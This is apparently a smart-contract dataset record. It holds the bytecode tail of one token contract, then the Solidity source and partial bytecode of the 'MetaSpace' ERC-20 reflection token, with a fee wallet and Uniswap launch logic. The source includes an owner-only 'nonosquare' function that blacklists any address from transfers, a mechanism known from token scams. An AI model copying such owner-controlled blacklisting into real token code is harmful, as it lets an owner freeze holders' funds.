1019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611358565b005b34801561068d57600080fd5b506106cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115c8565b604051808215151515815260200191505060405180910390f35b3480156106f257600080fd5b506106fb6117f6565b005b34801561070957600080fd5b50610712611849565b604051808215151515815260200191505060405180910390f35b34801561073857600080fd5b5061074161185c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078f57600080fd5b506107ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611882565b604051808215151515815260200191505060405180910390f35b3480156107f457600080fd5b50610849600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a7e565b6040518082815260200191505060405180910390f35b34801561086b57600080fd5b506108a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b05565b005b3480156108ae57600080fd5b506108b7611c97565b604051808215151515815260200191505060405180910390f35b6040805190810160405280600e81526020017f544845464f5254554e4546554e4400000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1614151515610a4357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a7f57600080fd5b600560009054906101000a900460ff16151515610a9b57600080fd5b610aed82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611caa90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bbf82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611caa90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c9182600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc390919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610df657600080fd5b600560019054906101000a900460ff161515610e1157600080fd5b80600560006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e8b57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610fe0576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611074565b610ff38382611caa90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6111b281600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611caa90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120a81600254611caa90919063ffffffff16565b60028190555060003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a250565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f46554e000000000000000000000000000000000000000000000000000000000081525081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113b457600080fd5b6114288160036000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611caa90919063ffffffff16565b60036000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114df81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc390919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153781600754611caa90919063ffffffff16565b6007819055508173ffffffffffffffffffffffffffffffffffffffff16600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff161415151561160557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561164157600080fd5b600560009054906101000a900460ff1615151561165d57600080fd5b6116af82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611caa90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061174482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc390919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560019054906101000a900460ff16151561181157600080fd5b6000600560006101000a81548160ff0219169083151502179055506000600560016101000a81548160ff021916908315150217905550565b600560009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061191382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b6057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b9c57600080fd5b7f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e06000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560019054906101000a900460ff1681565b6000828211151515611cb857fe5b818303905092915050565b6000808284019050838110151515611cd757fe5b80915050929150505600a165627a7a723058208f4a34d5595a370146328ece1dbc6b00285849a50d5bd5ebd2084cc1dc2194880029
|
{"success": true, "error": null, "results": {}}
| 7,773 |
0xc2576d4e87b5a31acc4a616842eb19a4cf42cec3
|
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MetaSpace is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "MetaSpace";
string private constant _symbol = "MetaSpace";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xd0aCc9F399fdBd640a29a36cc52B8fD2106Fb131);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 3;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 3;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061276e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612838565b6104b4565b60405161018e9190612893565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128bd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a20565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a69565b61060d565b60405161021f9190612893565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612abc565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612b05565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b4c565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b79565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612abc565b6109dd565b60405161031991906128bd565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612bb5565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061276e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612838565b610c9e565b6040516103da9190612893565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b79565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bd0565b611380565b60405161046e91906128bd565b60405180910390f35b60606040518060400160405280600981526020017f4d65746153706163650000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611407565b848461140f565b6001905092915050565b6000686c6b935b8bbd400000905090565b6104eb611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c5c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c7c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612cda565b91505061057b565b5050565b600061061a8484846115d8565b6106db84610626611407565b6106d68560405180606001604052806028815260200161371160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611407565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c699092919063ffffffff16565b61140f565b600190509392505050565b6106ee611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c5c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c5c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c5c565b60405180910390fd5b6000811161093357600080fd5b610962606461095483686c6b935b8bbd400000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611407565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d91565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd565b9050919050565b610a36611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c5c565b60405180910390fd5b686c6b935b8bbd400000600f81905550686c6b935b8bbd400000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d65746153706163650000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611407565b84846115d8565b6001905092915050565b610cc4611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c5c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83686c6b935b8bbd400000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611407565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e6b565b50565b610e18611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c5c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d6e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16686c6b935b8bbd40000061140f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612da3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612da3565b6040518363ffffffff1660e01b815260040161109c929190612dd0565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612da3565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612e3e565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612eb4565b5050506001600e60166101000a815